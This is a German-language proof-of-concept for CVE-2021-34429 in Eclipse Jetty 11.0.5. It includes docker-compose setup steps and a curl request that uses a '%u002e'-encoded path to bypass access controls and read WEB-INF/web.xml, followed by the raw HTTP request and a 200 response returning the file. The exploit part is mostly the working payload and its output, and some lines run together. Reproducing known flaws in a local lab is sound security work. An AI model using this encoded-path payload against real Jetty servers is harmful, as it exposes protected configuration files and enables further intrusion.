
POC für CVE-2021-34429 - Eclipse Jetty 11.0.5 Offenlegung sensibler Dateien
POC für CVE-2021-34429 - Eclipse Jetty 11.0.5 Offenlegung sensibler Dateien
Voraussetzungen: Installieren von docker und docker-compose auf Ihrem System
Für Debian-basierte Distributionen z. B. Ubuntu, Kali Linux usw. verwenden Sie die folgenden Befehle
apt install docker.io
apt install docker-compose
Für Windows, Mac und andere Distributionen beachten Sie bitte die folgenden Anleitungen:
docker-compose up -d aushttp://localhost:8080/ laufen
Senden Sie eine GET-Anfrage an http://localhost:8080/%u002e/WEB-INF/web.xml
curl -v 'localhost:8080/%u002e/WEB-INF/web.xml'GET /%u002e/WEB-INF/web.xml HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Connection: close
Last-Modified: Wed, 03 Nov 2021 08:25:24 GMT
Content-Type: application/xml
Accept-Ranges: bytes
Content-Length: 209
Server: Jetty(11.0.5)
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>ColdFusionX - Web Application</display-name>
</web-app>